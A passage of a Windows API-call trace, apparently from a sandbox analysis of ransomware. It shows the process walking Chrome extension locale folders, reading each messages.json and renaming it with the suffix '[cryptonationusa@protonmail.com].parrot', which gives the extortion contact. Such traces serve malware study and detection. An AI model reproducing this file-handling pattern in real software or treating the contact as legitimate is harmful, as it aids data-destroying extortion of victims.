nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0067.137] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0067.137] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0067.137] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ee5030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.137] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0067.137] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0067.137] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0067.233] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x21c, nNumberOfBytesToLockHigh=0x0) returned 1 [0067.233] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0067.233] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0067.234] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.234] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x104, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x104, lpOverlapped=0x0) returned 1 [0067.234] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.234] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x21c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0067.234] CloseHandle (hObject=0x28c) returned 1 [0067.235] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0067.280] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d04e8 | out: hHeap=0x5b0000) returned 1 [0067.280] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0067.280] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0188 | out: hHeap=0x5b0000) returned 1 [0067.282] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0067.282] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb5cb98e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb5cb98e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.282] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb5c474c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0067.282] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0067.282] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0067.282] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ee5030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.283] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0067.283] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0067.283] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0067.283] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x214, nNumberOfBytesToLockHigh=0x0) returned 1 [0067.283] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0067.283] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0067.284] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.284] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xfc, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xfc, lpOverlapped=0x0) returned 1 [0067.284] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.284] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x214, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0067.284] CloseHandle (hObject=0x28c) returned 1 [0067.285] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0067.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d03b0 | out: hHeap=0x5b0000) returned 1 [0067.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0067.289] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0067.290] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0067.290] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb5cdfa40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb5cdfa40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.290] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb5cdfa40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x218, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0067.290] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0067.305] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0067.305] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ee5030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.305] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0067.305] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0067.305] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0067.361] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x22e, nNumberOfBytesToLockHigh=0x0) returned 1 [0067.361] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0067.361] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0067.362] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.362] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x116, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x116, lpOverlapped=0x0) returned 1 [0067.362] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.362] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x22e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0067.362] CloseHandle (hObject=0x28c) returned 1 [0067.363] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0067.457] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0518 | out: hHeap=0x5b0000) returned 1 [0067.457] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0067.457] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0198 | out: hHeap=0x5b0000) returned 1 [0067.459] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0067.459] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb5e82960, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb5e82960, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.460] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb5d9e120, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0067.460] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0067.460] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0067.460] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ee5030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.460] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0067.460] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0067.460] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x159, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0067.460] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x271, nNumberOfBytesToLockHigh=0x0) returned 1 [0067.460] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0067.460] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0067.461] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.461] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x159, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x159, lpOverlapped=0x0) returned 1 [0067.462] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.462] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x271, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0067.462] CloseHandle (hObject=0x28c) returned 1 [0067.462] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0067.463] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d05d8 | out: hHeap=0x5b0000) returned 1 [0067.463] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0067.463] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d01d8 | out: hHeap=0x5b0000) returned 1 [0067.464] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0067.464] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb5e82960, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb5e82960, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.464] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb5e82960, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x278, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0067.464] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0067.464] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0067.464] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.465] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0067.465] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0067.465] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0c130, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x107, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0067.501] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x21f, nNumberOfBytesToLockHigh=0x0) returned 1 [0067.501] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0067.501] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0067.502] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.502] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x107, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x107, lpOverlapped=0x0) returned 1 [0067.503] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 